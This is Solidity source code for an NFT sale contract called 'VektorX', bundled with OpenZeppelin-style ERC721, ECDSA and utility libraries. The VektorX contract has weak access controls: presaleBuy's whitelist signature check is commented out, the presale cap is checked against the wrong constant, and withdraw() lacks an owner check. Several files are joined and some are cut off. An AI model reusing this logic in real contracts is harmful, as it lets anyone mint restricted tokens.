* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
pragma solidity ^0.8.4;
/*
__ __ ________ __ __ __________ ________ ________ __ __
\ \ / / | _______| | | / / \___ ____/ / / \ \ | / \ \ / /
\ \ / / | |______ | |_/ / | | / / \ \ | ___/ \ \ / /
\ \ / / | |______| | |_ / | | \ \ / / | | \ \ \ \ /
\ \__/ / | |______ | | \ \ | | \ \ ___/ / | | \ \ / /\ \
\____/ |________| |_| \_\ |__| \______/ |_| \_\ /_/ \_\
*/
contract VektorX is ERC721Enumerable, Ownable {
using Strings for uint256;
using ECDSA for bytes32;
string baseURI;
uint256 public constant VektorX_PRIVATE = 2500;
uint256 public constant VektorX_MAX = 7500;
uint256 public constant VektorX_PRICE1 = 0.03 ether;
uint256 public constant VektorX_PRICE2 = 0.04 ether;
uint256 public constant VektorX_PRICE_Public = 0.05 ether;
uint256 public constant VektorX_PER_PUBLIC_MINT = 10;
mapping(address => uint256) public presalerListPurchases;
string private constant Sig_WORD = "private";
address payable commissions = payable(0x748aF6Cbe0DD12148D36DD946d43Ef783a85a73f);
address private _signerAddress = 0x748aF6Cbe0DD12148D36DD946d43Ef783a85a73f;
address private a1 = 0xD7Ac55F70b1077854eE1ff593035146fEC62bDe0;
uint256 public privateAmountMinted;
uint256 public presale1PurchaseLimit = 2;
uint256 public presale2PurchaseLimit = 7;
bool public presaleLive;
bool public saleLive;
bool public locked;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
modifier notLocked {
require(!locked, "Contract metadata methods are locked");
_;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function matchAddresSigner(bytes memory signature) private view returns(bool) {
bytes32 hash = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(msg.sender, Sig_WORD)))
);
return _signerAddress == hash.recover(signature);
}
function founderMint(uint256 tokenQuantity) external onlyOwner {
require(totalSupply() + tokenQuantity <= VektorX_MAX, "EXCEED_MAX");
for(uint256 i = 0; i < tokenQuantity; i++) {
_safeMint(msg.sender, totalSupply() + 1);
}
}
function gift(address[] calldata receivers) external onlyOwner {
require(totalSupply() + receivers.length <= VektorX_MAX, "EXCEED_MAX");
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], totalSupply() + 1);
}
}
function buy(uint256 tokenQuantity) external payable {
require(saleLive, "SALE_CLOSED");
require(!presaleLive, "ONLY_PRESALE");
require(totalSupply() + tokenQuantity <= VektorX_MAX, "EXCEED_MAX");
require(tokenQuantity <= VektorX_PER_PUBLIC_MINT, "EXCEED_VektorX_PER_PUBLIC_MINT");
require(VektorX_PRICE_Public * tokenQuantity <= msg.value, "INSUFFICIENT_ETH");
for(uint256 i = 0; i < tokenQuantity; i++) {
_safeMint(msg.sender, totalSupply() + 1);
}
(bool success, ) = payable(commissions).call{value: msg.value * 10 / 100}("");
require(success);
}
function presaleBuy(uint256 tokenQuantity) external payable {
require(!saleLive && presaleLive, "PRESALE_CLOSED");
// require(matchAddresSigner(signature), "DIRECT_MINT_DISALLOWED");
require(privateAmountMinted + tokenQuantity <= VektorX_MAX, "EXCEED_PRIVATE");
if ( totalSupply() < 1000 ) {
require(presalerListPurchases[msg.sender] + tokenQuantity <= presale1PurchaseLimit, "EXCEED_ALLOC");
require(VektorX_PRICE1 * tokenQuantity <= msg.value, "INSUFFICIENT_ETH");
} else {
require(presalerListPurchases[msg.sender] + tokenQuantity <= presale2PurchaseLimit, "EXCEED_ALLOC");
require(VektorX_PRICE2 * tokenQuantity <= msg.value, "INSUFFICIENT_ETH");
}
for(uint256 i = 0; i < tokenQuantity; i++) {
privateAmountMinted++;
presalerListPurchases[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
(bool success, ) = payable(commissions).call{value: msg.value * 10 / 100}("");
require(success);
}
function withdraw() external {
uint256 balance = address(this).balance;
require(balance > 0);
payable(a1).transfer(address(this).balance);
}
function Initialreveal(uint256 _mintAmount) public onlyOwner() {
uint256 supply = totalSupply();
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function presalePurchasedCount(address addr) external view returns (uint256) {
return presalerListPurchases[addr];
}
function lockMetadata() external onlyOwner {
locked = true;
}
function togglePresaleStatus() external onlyOwner {
presaleLive = !presaleLive;
}
function toggleSaleStatus() external onlyOwner {
saleLive = !saleLive;
}
function setSignerAddress(address addr) external onlyOwner {
_signerAddress = addr;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
require(_exists(tokenId), "Cannot query non-existent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())): "";
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-28
*/
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/access/IAccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
